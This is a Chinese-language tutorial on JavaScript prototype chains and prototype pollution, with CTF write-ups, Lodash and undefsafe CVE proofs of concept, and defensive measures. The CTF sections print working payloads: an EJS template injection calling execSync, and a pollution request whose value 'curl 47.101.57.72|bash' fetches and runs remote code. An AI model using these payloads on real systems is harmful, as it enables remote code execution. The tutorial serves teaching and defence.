谭谈 Javascript 原型链与原型链污染
字数 1112 2025-08-05 00:15:18
JavaScript 原型链与原型链污染详解
一、JavaScript 原型链基础
1.1 原型链概念
JavaScript 使用原型链实现继承机制,每个对象都有一个私有属性 __proto__ 指向其构造函数的原型对象(prototype)。这个原型对象也有自己的原型,层层向上直到 null。
关键点:
- 每个构造函数都有一个
prototype原型对象 - 每个实例对象都有一个
__proto__属性,指向构造函数的prototype - 原型对象中的
constructor属性指向构造函数本身
1.2 原型链示例
function f() {
this.a = 1;
this.b = 2;
}
let o = new f(); // {a: 1, b: 2}
f.prototype.b = 3;
f.prototype.c = 4;
// 原型链:
// o ---> f.prototype ---> Object.prototype ---> null
1.3 属性查找机制
当访问对象属性时:
- 首先检查对象自身是否有该属性
- 如果没有,则检查对象的
__proto__(即构造函数的prototype) - 继续向上查找直到
Object.prototype - 如果最终未找到,返回
undefined
二、原型链污染原理
2.1 基本概念
原型链污染是指通过修改对象的原型,影响所有继承该原型的对象。
object1 = {"a":1,"b":2};
object1.__proto__.foo = "Hello World";
object2 = {"c":1,"d":2};
console.log(object2.foo); // 输出 "Hello World"
2.2 污染条件
当能够控制以下形式的操作时,可能造成原型链污染:
object[a][b] = value
如果能够控制 a 为 __proto__,则可以修改对象的原型。
三、常见污染场景
3.1 Merge 操作污染
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
let object1 = {}
let object2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(object1, object2)
let object3 = {}
console.log(object3.b) // 输出 2
3.2 CTF 例题分析
[GYCTF2020]Ez_Express
漏洞点:
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
// 污染点
req.session.user.data = clone(req.body);
利用方式:
- 注册特殊用户名绕过(利用
toUpperCase()特性) - 发送污染 payload:
{
"lua": "123",
"__proto__": {
"outputFunctionName": "t=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString()//"
},
"Submit": ""
}
[网鼎杯 2020 青龙组]notes
漏洞点:
// 使用不安全的 undefsafe 模块
edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}
// 命令执行点
app.route('/status').get(function(req, res) {
let commands = {"script-1":"uptime","script-2":"free -m"};
for (let index in commands) {
exec(commands[index], {shell: '/bin/bash'}, (err, stdout, stderr) => {
if (err) { return; }
console.log(`stdout: ${stdout}`);
});
}
})
利用方式:
- 发送污染请求:
POST /edit_note
id=__proto__.aaa&author=curl 47.101.57.72|bash&raw=lalala;
- 访问
/status触发命令执行
四、常见库的污染漏洞
4.1 Lodash 漏洞
CVE-2019-10744 (defaultsDeep)
const mergeFn = require('lodash').defaultsDeep;
const payload = '{"constructor": {"prototype": {"whoami": "Vulnerable"}}}';
function check() {
mergeFn({}, JSON.parse(payload));
if (({})[`a0`] === true) {
console.log(`Vulnerable to Prototype Pollution via ${payload}`);
}
}
check();
merge 方法污染
var lodash= require('lodash');
var payload = '{"__proto__":{"whoami":"Vulnerable"}}';
var a = {};
lodash.merge({}, JSON.parse(payload));
console.log(a.whoami); // "Vulnerable"
set/setWith 方法污染
var object_1 = {'a': [{'b': {'c': 3}}]};
var object_2 = {}
lodash.set(object_2, '__proto__.["whoami"]', 'Vulnerable');
console.log(object_1.whoami); // "Vulnerable"
4.2 Undefsafe 漏洞 (CVE-2019-10795)
var a = require("undefsafe");
var test = {}
a(test, '__proto__.toString', function(){return 'just a evil!'})
console.log('this is ' + test) // "this is just a evil!"
五、防御措施
- 避免不安全的递归合并
- 使用
Object.freeze(Object.prototype)冻结原型 - 检查属性键名,过滤
__proto__、constructor等敏感属性 - 使用无污染风险的替代库或更新到安全版本
- 使用 Map 代替 Object 作为键值对存储
六、总结
原型链污染是 JavaScript 特有的安全问题,主要由于:
- JavaScript 灵活的原型继承机制
- 不安全的对象操作(如递归合并)
- 未对用户输入进行充分过滤
在实际开发中,应特别注意对象操作的安全性,尤其是涉及用户可控数据的场景。对于第三方库,应及时更新到已知的安全版本。